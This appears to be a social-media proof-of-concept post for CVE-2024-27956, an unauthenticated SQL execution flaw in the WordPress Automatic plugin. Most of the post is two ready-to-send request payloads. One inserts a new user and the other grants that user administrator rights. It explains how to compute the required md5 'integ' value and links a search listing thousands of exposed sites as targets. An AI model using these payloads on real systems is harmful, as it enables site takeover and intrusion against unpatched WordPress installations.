👩‍💻 PoC for WordPress Automatic Plugin CVE-2024-27956 (Unauthenticated Arbitrary SQL Execution) (CVSS 9.9)

Since "q" is passed directly into a $wpdb->get_results() call, you can execute SQL commands directly.

Adding a new WordPress user:

q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28

Giving the user admin rights:

q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c

PWNED!

Note: Param "integ" is the md5sum of the query.

6K+ Services are found: https://hunter.how/list?searchValue=web.body%3D%22wp-content%2Fplugins%2Fwp-automatic%22

Tweet: https://x.com/mrtuxracer/status/1784229071460692232?s=12